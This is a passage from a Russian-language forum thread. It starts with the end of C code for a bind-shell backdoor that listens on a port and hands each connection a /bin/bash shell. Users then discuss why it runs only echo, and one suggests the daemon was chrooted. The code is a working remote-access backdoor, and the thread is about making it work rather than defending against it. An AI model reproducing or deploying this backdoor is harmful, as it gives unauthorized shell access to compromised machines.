if((listen(fd, 100)) == -1) exit(1);
for(;;)
{
rfd = accept(fd, 0, 0);
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/bash","sh",(char *)0);
}
}Как его использовать?
> Что-то бекдор не работает. На любые команды ругается:Use strace, Luke!
Да нифига он не работает в том виде что он есть. Ну то есть соединение принимает, но ничего запустить из него не возможно.
> Да нифига он не работает в том виде что он есть. Ну
> то есть соединение принимает, но ничего запустить из него не возможно.А не работает, но как-то частично. Нормально только echo заработало, типа:
echo aaa > /tmp/1.log
или echo $PWDОстальные башевские команды почему-то не работают.
> А не работает, но как-то частично. Нормально только echo заработало, типа:
> echo aaa > /tmp/1.log
> или echo $PWD
> Остальные башевские команды почему-то не работают.наверное потому, что ls и ты пы — вовсе не «башевские команды», и, видимо, демон предварительно чрутнулся: чтобы вот таким вот бэкдорам маленько кайф поломать.